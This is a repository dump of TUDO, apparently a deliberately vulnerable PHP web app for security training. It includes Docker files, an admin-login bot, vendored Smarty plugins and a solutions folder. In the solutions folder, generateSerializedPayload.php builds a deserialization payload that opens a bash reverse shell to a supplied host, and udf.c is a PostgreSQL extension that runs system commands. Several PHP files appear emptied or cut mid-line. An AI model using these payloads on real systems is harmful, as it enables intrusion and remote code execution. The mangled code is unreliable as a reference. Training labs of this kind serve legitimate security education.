├── .gitignore ├── app ├── .htaccess ├── templates │ ├── .htaccess │ └── motd.tpl ├── templates_c │ └── .htaccess ├── vendor │ ├── .htaccess │ ├── smarty │ │ └── smarty │ │ │ ├── .cvsignore │ │ │ ├── demo │ │ │ ├── templates │ │ │ │ ├── footer.tpl │ │ │ │ ├── header.tpl │ │ │ │ └── index.tpl │ │ │ ├── configs │ │ │ │ └── test.conf │ │ │ └── index.php │ │ │ ├── NEWS │ │ │ ├── BUGS │ │ │ ├── TODO │ │ │ ├── libs │ │ │ ├── internals │ │ │ │ ├── core.get_microtime.php │ │ │ │ ├── core.get_include_path.php │ │ │ │ ├── core.process_compiled_include.php │ │ │ │ ├── core.write_compiled_resource.php │ │ │ │ ├── core.assign_smarty_interface.php │ │ │ │ ├── core.is_trusted.php │ │ │ │ ├── core.rmdir.php │ │ │ │ ├── core.write_file.php │ │ │ │ ├── core.smarty_include_php.php │ │ │ │ ├── core.display_debug_console.php │ │ │ │ ├── core.is_secure.php │ │ │ │ ├── core.assemble_plugin_filepath.php │ │ │ │ ├── core.load_resource_plugin.php │ │ │ │ ├── core.rm_auto.php │ │ │ │ ├── core.process_cached_inserts.php │ │ │ │ ├── core.get_php_resource.php │ │ │ │ ├── core.create_dir_structure.php │ │ │ │ ├── core.run_insert_handler.php │ │ │ │ ├── core.write_compiled_include.php │ │ │ │ ├── core.write_cache_file.php │ │ │ │ ├── core.read_cache_file.php │ │ │ │ └── core.load_plugins.php │ │ │ ├── plugins │ │ │ │ ├── modifier.lower.php │ │ │ │ ├── modifier.upper.php │ │ │ │ ├── modifier.indent.php │ │ │ │ ├── modifier.string_format.php │ │ │ │ ├── modifier.replace.php │ │ │ │ ├── modifier.wordwrap.php │ │ │ │ ├── modifier.cat.php │ │ │ │ ├── modifier.count_paragraphs.php │ │ │ │ ├── modifier.spacify.php │ │ │ │ ├── modifier.default.php │ │ │ │ ├── modifier.count_sentences.php │ │ │ │ ├── modifier.strip_tags.php │ │ │ │ ├── modifier.nl2br.php │ │ │ │ ├── modifier.strip.php │ │ │ │ ├── modifier.count_characters.php │ │ │ │ ├── modifier.count_words.php │ │ │ │ ├── shared.escape_special_chars.php │ │ │ │ ├── function.debug.php │ │ │ │ ├── function.popup_init.php │ │ │ │ ├── function.eval.php │ │ │ │ ├── modifier.capitalize.php │ │ │ │ ├── compiler.assign.php │ │ │ │ ├── function.assign_debug_info.php │ │ │ │ ├── shared.make_timestamp.php │ │ │ │ ├── modifier.regex_replace.php │ │ │ │ ├── modifier.truncate.php │ │ │ │ ├── modifier.date_format.php │ │ │ │ ├── function.counter.php │ │ │ │ ├── outputfilter.trimwhitespace.php │ │ │ │ ├── modifier.escape.php │ │ │ │ ├── modifier.debug_print_var.php │ │ │ │ ├── block.textformat.php │ │ │ │ ├── function.cycle.php │ │ │ │ ├── function.popup.php │ │ │ │ ├── function.math.php │ │ │ │ ├── function.html_options.php │ │ │ │ ├── function.html_checkboxes.php │ │ │ │ ├── function.html_image.php │ │ │ │ └── function.html_radios.php │ │ │ └── debug.tpl │ │ │ ├── README.md │ │ │ ├── composer.json │ │ │ ├── INSTALL │ │ │ ├── QUICK_START │ │ │ └── README │ ├── composer │ │ ├── autoload_psr4.php │ │ ├── autoload_namespaces.php │ │ ├── autoload_classmap.php │ │ ├── installed.php │ │ ├── autoload_static.php │ │ ├── platform_check.php │ │ ├── LICENSE │ │ ├── autoload_real.php │ │ └── installed.json │ └── autoload.php ├── favicon.ico ├── images │ ├── motd_1.png │ ├── motd_2.png │ └── motd_3.png ├── includes │ ├── logout.php │ ├── login_footer.php │ ├── db_connect.php │ ├── header.php │ ├── createpost.php │ └── utils.php ├── admin │ ├── import_user.php │ ├── upload_image.php │ └── update_motd.php ├── style │ └── style.css ├── forgotusername.php ├── login.php ├── profile.php ├── forgotpassword.php ├── resetpassword.php └── index.php ├── docker ├── admin │ ├── emulate.cron │ ├── Dockerfile │ └── emulate.py ├── app │ ├── xdebug.ini │ └── Dockerfile └── init.sql ├── screenshots ├── login.png └── debugging.png ├── solutions ├── screenshots │ ├── rce-2.png │ ├── auth-2.png │ ├── rce-1_a.png │ ├── rce-1_b.png │ ├── rce-3_a.png │ ├── rce-3_b.png │ ├── auth-1_a.png │ ├── auth-1_b.png │ ├── privesc-1_a.png │ ├── privesc-1_b.png │ ├── privesc-1_c.png │ └── privesc-1_d.png ├── rce │ ├── generateSerializedPayload.php │ ├── ssti.py │ ├── deserialize.py │ └── imageUpload.py ├── unintended │ ├── udf.c │ ├── copyFrom.py │ └── udf.py ├── auth │ ├── generateTokens.php │ ├── insecureSeed.py │ └── sqli.py └── privesc │ └── xss.py ├── .vscode └── launch.json ├── docker-compose.yaml └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.so -------------------------------------------------------------------------------- /app/.htaccess: -------------------------------------------------------------------------------- 1 | DirectoryIndex index.php -------------------------------------------------------------------------------- /app/templates/.htaccess: -------------------------------------------------------------------------------- 1 | Deny from all -------------------------------------------------------------------------------- /app/templates_c/.htaccess: -------------------------------------------------------------------------------- 1 | Deny from all -------------------------------------------------------------------------------- /app/vendor/.htaccess: -------------------------------------------------------------------------------- 1 | Deny from all 2 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/.cvsignore: -------------------------------------------------------------------------------- 1 | templates_c 2 | -------------------------------------------------------------------------------- /app/templates/motd.tpl: -------------------------------------------------------------------------------- 1 | Hello, {$username}! Welcome to TUDO -admin :) 2 | -------------------------------------------------------------------------------- /app/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/app/favicon.ico -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/demo/templates/footer.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /docker/admin/emulate.cron: -------------------------------------------------------------------------------- 1 | */1 * * * * /usr/bin/python3 /app/emulate.py 2 | -------------------------------------------------------------------------------- /app/images/motd_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/app/images/motd_1.png -------------------------------------------------------------------------------- /app/images/motd_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/app/images/motd_2.png -------------------------------------------------------------------------------- /app/images/motd_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/app/images/motd_3.png -------------------------------------------------------------------------------- /screenshots/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/screenshots/login.png -------------------------------------------------------------------------------- /screenshots/debugging.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/screenshots/debugging.png -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/NEWS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/app/vendor/smarty/smarty/NEWS -------------------------------------------------------------------------------- /solutions/screenshots/rce-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/rce-2.png -------------------------------------------------------------------------------- /solutions/screenshots/auth-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/auth-2.png -------------------------------------------------------------------------------- /solutions/screenshots/rce-1_a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/rce-1_a.png -------------------------------------------------------------------------------- /solutions/screenshots/rce-1_b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/rce-1_b.png -------------------------------------------------------------------------------- /solutions/screenshots/rce-3_a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/rce-3_a.png -------------------------------------------------------------------------------- /solutions/screenshots/rce-3_b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/rce-3_b.png -------------------------------------------------------------------------------- /solutions/screenshots/auth-1_a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/auth-1_a.png -------------------------------------------------------------------------------- /solutions/screenshots/auth-1_b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/auth-1_b.png -------------------------------------------------------------------------------- /solutions/screenshots/privesc-1_a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/privesc-1_a.png -------------------------------------------------------------------------------- /solutions/screenshots/privesc-1_b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/privesc-1_b.png -------------------------------------------------------------------------------- /solutions/screenshots/privesc-1_c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/privesc-1_c.png -------------------------------------------------------------------------------- /solutions/screenshots/privesc-1_d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bmdyy/tudo/HEAD/solutions/screenshots/privesc-1_d.png -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/demo/configs/test.conf: -------------------------------------------------------------------------------- 1 | title = Welcome to Smarty! 2 | cutoff_size = 40 3 | 4 | [setup] 5 | bold = true 6 | -------------------------------------------------------------------------------- /app/includes/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docker/app/xdebug.ini: -------------------------------------------------------------------------------- 1 | xdebug.log="/var/log/xdebug.log" 2 | xdebug.mode=debug 3 | xdebug.client_host=host.docker.internal 4 | xdebug.client_port=9003 5 | xdebug.start_with_request=yes -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/demo/templates/header.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | {popup_init src="/javascripts/overlib.js"} 4 | {$title} - {$Name} 5 | 6 | 7 | -------------------------------------------------------------------------------- /app/vendor/composer/autoload_psr4.php: -------------------------------------------------------------------------------- 1 | Log In / Create Account* / 2 | Forgot username? / Forgot password?
3 | * Account creation is disabled during alpha testing. Please contact the admin if you wish to be a tester -------------------------------------------------------------------------------- /solutions/rce/generateSerializedPayload.php: -------------------------------------------------------------------------------- 1 | f = $f; 6 | $this->m = $m; 7 | } 8 | } 9 | 10 | print(serialize(new Log("/var/www/html/$argv[1]", "& /dev/tcp/$argv[2]/$argv[3] 0>&1'\") ?>"))); 11 | 12 | ?> -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "name": "Listen for Xdebug", 6 | "type": "php", 7 | "request": "launch", 8 | "port": 9003, 9 | "pathMappings": { 10 | "/var/www/html": "${workspaceFolder}/app" 11 | }, 12 | "hostname": "172.17.0.1", 13 | "log": true 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /solutions/unintended/udf.c: -------------------------------------------------------------------------------- 1 | // gcc -I/usr/include/postgresql/18/server -shared -fPIC -o udf.so udf.c 2 | 3 | #include "string.h" 4 | #include "postgres.h" 5 | #include "fmgr.h" 6 | 7 | PG_MODULE_MAGIC; 8 | PG_FUNCTION_INFO_V1(pg_exec); 9 | 10 | Datum 11 | pg_exec(PG_FUNCTION_ARGS) 12 | { 13 | char* command = PG_GETARG_CSTRING(0); 14 | PG_RETURN_INT32(system(command)); 15 | } -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/BUGS: -------------------------------------------------------------------------------- 1 | Smarty is supported only in PHP 4.0.6 or later. 2 | 3 | Smarty versions previous to 2.0 require the PEAR libraries. Be sure to include 4 | the path to the PEAR libraries in your php include_path. Config_file.class.php 5 | uses the PEAR library for its error handling routines. PEAR comes with the PHP 6 | distribution. Unix users check /usr/local/lib/php, windows users check 7 | C:/php/pear. 8 | -------------------------------------------------------------------------------- /docker/admin/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:bookworm-slim 2 | 3 | RUN apt-get -q update && apt-get install -q -y \ 4 | firefox-esr \ 5 | python3-pip \ 6 | cron \ 7 | && pip3 install selenium --break-system-packages 8 | 9 | COPY emulate.py /app/emulate.py 10 | 11 | COPY emulate.cron /etc/cron.d/emulate 12 | RUN chmod 0644 /etc/cron.d/emulate 13 | RUN crontab /etc/cron.d/emulate 14 | 15 | CMD ["cron", "-f"] -------------------------------------------------------------------------------- /app/includes/db_connect.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/TODO: -------------------------------------------------------------------------------- 1 | * handle asp style tags in $php_handler 2 | * fix all E_NOTICE warnings 3 | * make simple math easier 4 | * caching all but parts of the template 5 | * change plugins so $smarty variable always comes first 6 | * get cache ttl with function call 7 | FIX: make inserts use normal functions before plugins 8 | UPD: change it so that if template comes from some resource, 9 | that resource stays as the default, no need to specify it 10 | in includes. 11 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.get_microtime.php: -------------------------------------------------------------------------------- 1 | 24 | -------------------------------------------------------------------------------- /app/vendor/composer/autoload_classmap.php: -------------------------------------------------------------------------------- 1 | $vendorDir . '/composer/InstalledVersions.php', 10 | 'Config_File' => $vendorDir . '/smarty/smarty/libs/Config_File.class.php', 11 | 'Smarty' => $vendorDir . '/smarty/smarty/libs/Smarty.class.php', 12 | 'Smarty_Compiler' => $vendorDir . '/smarty/smarty/libs/Smarty_Compiler.class.php', 13 | ); 14 | -------------------------------------------------------------------------------- /solutions/auth/generateTokens.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docker/admin/emulate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from selenium import webdriver 4 | from selenium.webdriver.common.keys import Keys 5 | from selenium.webdriver.common.by import By 6 | 7 | import time 8 | 9 | options = webdriver.FirefoxOptions() 10 | options.add_argument("--headless") 11 | driver = webdriver.Firefox(options=options) 12 | driver.get("http://tudo-app/login.php") 13 | 14 | u_input = driver.find_element(By.NAME, "username") 15 | p_input = driver.find_element(By.NAME, "password") 16 | u_input.send_keys("admin") 17 | p_input.send_keys("admin") 18 | p_input.send_keys(Keys.RETURN) 19 | 20 | time.sleep(5) 21 | 22 | driver.close() -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.lower.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: lower
14 | * Purpose: convert string to lowercase 15 | * @link http://smarty.php.net/manual/en/language.modifier.lower.php 16 | * lower (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @return string 20 | */ 21 | function smarty_modifier_lower($string) 22 | { 23 | return strtolower($string); 24 | } 25 | 26 | ?> 27 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.upper.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: upper
14 | * Purpose: convert string to uppercase 15 | * @link http://smarty.php.net/manual/en/language.modifier.upper.php 16 | * upper (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @return string 20 | */ 21 | function smarty_modifier_upper($string) 22 | { 23 | return strtoupper($string); 24 | } 25 | 26 | ?> 27 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/README.md: -------------------------------------------------------------------------------- 1 | #Smarty 2 template engine 2 | ##Distribution repository 3 | Starting with Smarty 2.6.23 Composer has been configured to load the packages from github. 4 | 5 | **NOTE: Because of this change you must clear your local composer cache with the "composer clearcache" command** 6 | 7 | To get the latest stable version use 8 | 9 | "require": { 10 | "smarty/smarty": "~2.6" 11 | } 12 | 13 | in your composer.json file. 14 | 15 | To get the trunk version use 16 | 17 | "require": { 18 | "smarty/smarty": "~2.6@dev" 19 | } 20 | 21 | The "smarty/smarty" package will start at libs/.... subfolder. 22 | 23 | 24 | -------------------------------------------------------------------------------- /app/admin/import_user.php: -------------------------------------------------------------------------------- 1 | username,$user->password,$user->description)); 12 | } 13 | } 14 | header('location:/index.php'); 15 | die(); 16 | ?> -------------------------------------------------------------------------------- /app/includes/header.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | -------------------------------------------------------------------------------- /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | app: 3 | container_name: tudo-app 4 | build: 5 | context: . 6 | dockerfile: docker/app/Dockerfile 7 | ports: 8 | - "8000:80" 9 | extra_hosts: 10 | host.docker.internal: host-gateway # Automatically resolves host IP (used by Xdebug) 11 | db: 12 | container_name: tudo-db 13 | image: postgres 14 | environment: 15 | - POSTGRES_USER=postgres 16 | - POSTGRES_PASSWORD=postgres 17 | - POSTGRES_DB=tudo 18 | volumes: 19 | - ./docker/init.sql:/docker-entrypoint-initdb.d/init.sql 20 | command: ["postgres", "-c", "log_statement=all"] 21 | admin: 22 | container_name: tudo-admin 23 | build: docker/admin -------------------------------------------------------------------------------- /docker/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.5-apache 2 | 3 | # Install PgSQL extension 4 | RUN apt-get -q update && apt-get install -q -y libpq-dev && \ 5 | docker-php-ext-install pgsql 6 | 7 | # Install Xdebug extension 8 | RUN pecl install xdebug-3.5.0 && docker-php-ext-enable xdebug 9 | 10 | # Configure PHP.ini for debugging 11 | RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" 12 | COPY docker/app/xdebug.ini /tmp 13 | RUN mv /tmp/xdebug.ini "$PHP_INI_DIR/conf.d/99-xdebug.ini" 14 | 15 | # Add .phar extension to Apache config 16 | RUN echo "AddType application/x-httpd-php .phar" >> /etc/apache2/apache2.conf 17 | 18 | # Copy files over and set permissions 19 | COPY app /var/www/html 20 | RUN chown -R www-data:www-data /var/www/html -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.indent.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: indent
14 | * Purpose: indent lines of text 15 | * @link http://smarty.php.net/manual/en/language.modifier.indent.php 16 | * indent (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param integer 20 | * @param string 21 | * @return string 22 | */ 23 | function smarty_modifier_indent($string,$chars=4,$char=" ") 24 | { 25 | return preg_replace('!^!m',str_repeat($char,$chars),$string); 26 | } 27 | 28 | ?> 29 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.string_format.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: string_format
14 | * Purpose: format strings via sprintf 15 | * @link http://smarty.php.net/manual/en/language.modifier.string.format.php 16 | * string_format (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param string 20 | * @return string 21 | */ 22 | function smarty_modifier_string_format($string, $format) 23 | { 24 | return sprintf($format, $string); 25 | } 26 | 27 | /* vim: set expandtab: */ 28 | 29 | ?> 30 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.replace.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: replace
14 | * Purpose: simple search/replace 15 | * @link http://smarty.php.net/manual/en/language.modifier.replace.php 16 | * replace (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param string 20 | * @param string 21 | * @return string 22 | */ 23 | function smarty_modifier_replace($string, $search, $replace) 24 | { 25 | return str_replace($search, $replace, $string); 26 | } 27 | 28 | /* vim: set expandtab: */ 29 | 30 | ?> 31 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.wordwrap.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: wordwrap
14 | * Purpose: wrap a string of text at a given length 15 | * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php 16 | * wordwrap (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param integer 20 | * @param string 21 | * @param boolean 22 | * @return string 23 | */ 24 | function smarty_modifier_wordwrap($string,$length=80,$break="\n",$cut=false) 25 | { 26 | return wordwrap($string,$length,$break,$cut); 27 | } 28 | 29 | ?> 30 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.cat.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: cat
14 | * Date: Feb 24, 2003 15 | * Purpose: catenate a value to a variable 16 | * Input: string to catenate 17 | * Example: {$var|cat:"foo"} 18 | * @link http://smarty.php.net/manual/en/language.modifier.cat.php cat 19 | * (Smarty online manual) 20 | * @author Monte Ohrt 21 | * @version 1.0 22 | * @param string 23 | * @param string 24 | * @return string 25 | */ 26 | function smarty_modifier_cat($string, $cat) 27 | { 28 | return $string . $cat; 29 | } 30 | 31 | /* vim: set expandtab: */ 32 | 33 | ?> 34 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.count_paragraphs.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: count_paragraphs
14 | * Purpose: count the number of paragraphs in a text 15 | * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php 16 | * count_paragraphs (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @return integer 20 | */ 21 | function smarty_modifier_count_paragraphs($string) 22 | { 23 | // count \r or \n characters 24 | return count(preg_split('/[\r\n]+/', $string)); 25 | } 26 | 27 | /* vim: set expandtab: */ 28 | 29 | ?> 30 | -------------------------------------------------------------------------------- /app/includes/createpost.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.spacify.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: spacify
14 | * Purpose: add spaces between characters in a string 15 | * @link http://smarty.php.net/manual/en/language.modifier.spacify.php 16 | * spacify (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param string 20 | * @return string 21 | */ 22 | function smarty_modifier_spacify($string, $spacify_char = ' ') 23 | { 24 | return implode($spacify_char, 25 | preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY)); 26 | } 27 | 28 | /* vim: set expandtab: */ 29 | 30 | ?> 31 | -------------------------------------------------------------------------------- /app/vendor/composer/installed.php: -------------------------------------------------------------------------------- 1 | 3 | array ( 4 | 'pretty_version' => '1.0.0+no-version-set', 5 | 'version' => '1.0.0.0', 6 | 'aliases' => 7 | array ( 8 | ), 9 | 'reference' => NULL, 10 | 'name' => '__root__', 11 | ), 12 | 'versions' => 13 | array ( 14 | '__root__' => 15 | array ( 16 | 'pretty_version' => '1.0.0+no-version-set', 17 | 'version' => '1.0.0.0', 18 | 'aliases' => 19 | array ( 20 | ), 21 | 'reference' => NULL, 22 | ), 23 | 'smarty/smarty' => 24 | array ( 25 | 'pretty_version' => 'v2.6.31', 26 | 'version' => '2.6.31.0', 27 | 'aliases' => 28 | array ( 29 | ), 30 | 'reference' => '4ab9757b492f08a38f68123a6e7c1df7110bbc49', 31 | ), 32 | ), 33 | ); 34 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.default.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: default
14 | * Purpose: designate default value for empty variables 15 | * @link http://smarty.php.net/manual/en/language.modifier.default.php 16 | * default (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param string 20 | * @return string 21 | */ 22 | function smarty_modifier_default($string, $default = '') 23 | { 24 | if (!isset($string) || $string === '') 25 | return $default; 26 | else 27 | return $string; 28 | } 29 | 30 | /* vim: set expandtab: */ 31 | 32 | ?> 33 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.count_sentences.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: count_sentences 14 | * Purpose: count the number of sentences in a text 15 | * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php 16 | * count_sentences (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @return integer 20 | */ 21 | function smarty_modifier_count_sentences($string) 22 | { 23 | // find periods with a word before but not after. 24 | return preg_match_all('/[^\s]\.(?!\w)/', $string, $match); 25 | } 26 | 27 | /* vim: set expandtab: */ 28 | 29 | ?> 30 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.strip_tags.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: strip_tags
14 | * Purpose: strip html tags from text 15 | * @link http://smarty.php.net/manual/en/language.modifier.strip.tags.php 16 | * strip_tags (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param boolean 20 | * @return string 21 | */ 22 | function smarty_modifier_strip_tags($string, $replace_with_space = true) 23 | { 24 | if ($replace_with_space) 25 | return preg_replace('!<[^>]*?>!', ' ', $string); 26 | else 27 | return strip_tags($string); 28 | } 29 | 30 | /* vim: set expandtab: */ 31 | 32 | ?> 33 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.nl2br.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: nl2br
14 | * Date: Feb 26, 2003 15 | * Purpose: convert \r\n, \r or \n to <
> 16 | * Input:
17 | * - contents = contents to replace 18 | * - preceed_test = if true, includes preceeding break tags 19 | * in replacement 20 | * Example: {$text|nl2br} 21 | * @link http://smarty.php.net/manual/en/language.modifier.nl2br.php 22 | * nl2br (Smarty online manual) 23 | * @version 1.0 24 | * @author Monte Ohrt 25 | * @param string 26 | * @return string 27 | */ 28 | function smarty_modifier_nl2br($string) 29 | { 30 | return nl2br($string); 31 | } 32 | 33 | /* vim: set expandtab: */ 34 | 35 | ?> 36 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.strip.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: strip
14 | * Purpose: Replace all repeated spaces, newlines, tabs 15 | * with a single space or supplied replacement string.
16 | * Example: {$var|strip} {$var|strip:" "} 17 | * Date: September 25th, 2002 18 | * @link http://smarty.php.net/manual/en/language.modifier.strip.php 19 | * strip (Smarty online manual) 20 | * @author Monte Ohrt 21 | * @version 1.0 22 | * @param string 23 | * @param string 24 | * @return string 25 | */ 26 | function smarty_modifier_strip($text, $replace = ' ') 27 | { 28 | return preg_replace('!\s+!', $replace, $text); 29 | } 30 | 31 | /* vim: set expandtab: */ 32 | 33 | ?> 34 | -------------------------------------------------------------------------------- /app/vendor/composer/autoload_static.php: -------------------------------------------------------------------------------- 1 | __DIR__ . '/..' . '/composer/InstalledVersions.php', 11 | 'Config_File' => __DIR__ . '/..' . '/smarty/smarty/libs/Config_File.class.php', 12 | 'Smarty' => __DIR__ . '/..' . '/smarty/smarty/libs/Smarty.class.php', 13 | 'Smarty_Compiler' => __DIR__ . '/..' . '/smarty/smarty/libs/Smarty_Compiler.class.php', 14 | ); 15 | 16 | public static function getInitializer(ClassLoader $loader) 17 | { 18 | return \Closure::bind(function () use ($loader) { 19 | $loader->classMap = ComposerStaticInitcb10d081ed2a87e441496d59e96ca6f9::$classMap; 20 | 21 | }, null, ClassLoader::class); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.count_characters.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: count_characteres
14 | * Purpose: count the number of characters in a text 15 | * @link http://smarty.php.net/manual/en/language.modifier.count.characters.php 16 | * count_characters (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param boolean include whitespace in the character count 20 | * @return integer 21 | */ 22 | function smarty_modifier_count_characters($string, $include_spaces = false) 23 | { 24 | if ($include_spaces) 25 | return(strlen($string)); 26 | 27 | return preg_match_all("/[^\s]/",$string, $match); 28 | } 29 | 30 | /* vim: set expandtab: */ 31 | 32 | ?> 33 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.count_words.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: count_words
14 | * Purpose: count the number of words in a text 15 | * @link http://smarty.php.net/manual/en/language.modifier.count.words.php 16 | * count_words (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @return integer 20 | */ 21 | function smarty_modifier_count_words($string) 22 | { 23 | // split text by ' ',\r,\n,\f,\t 24 | $split_array = preg_split('/\s+/',$string); 25 | // count matches that contain alphanumerics 26 | $word_count = preg_grep('/[a-zA-Z0-9\\x80-\\xff]/', $split_array); 27 | 28 | return count($word_count); 29 | } 30 | 31 | /* vim: set expandtab: */ 32 | 33 | ?> 34 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/shared.escape_special_chars.php: -------------------------------------------------------------------------------- 1 | 13 | * Purpose: used by other smarty functions to escape 14 | * special chars except for already escaped ones 15 | * @author Monte Ohrt 16 | * @param string 17 | * @return string 18 | */ 19 | function smarty_function_escape_special_chars($string) 20 | { 21 | if(!is_array($string)) { 22 | $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string); 23 | $string = htmlspecialchars($string); 24 | $string = str_replace(array('%%%SMARTY_START%%%','%%%SMARTY_END%%%'), array('&',';'), $string); 25 | } 26 | return $string; 27 | } 28 | 29 | /* vim: set expandtab: */ 30 | 31 | ?> 32 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/demo/index.php: -------------------------------------------------------------------------------- 1 | compile_check = true; 8 | $smarty->debugging = true; 9 | 10 | $smarty->assign("Name","Fred Irving Johnathan Bradley Peppergill"); 11 | $smarty->assign("FirstName",array("John","Mary","James","Henry")); 12 | $smarty->assign("LastName",array("Doe","Smith","Johnson","Case")); 13 | $smarty->assign("Class",array(array("A","B","C","D"), array("E", "F", "G", "H"), 14 | array("I", "J", "K", "L"), array("M", "N", "O", "P"))); 15 | 16 | $smarty->assign("contacts", array(array("phone" => "1", "fax" => "2", "cell" => "3"), 17 | array("phone" => "555-4444", "fax" => "555-3333", "cell" => "760-1234"))); 18 | 19 | 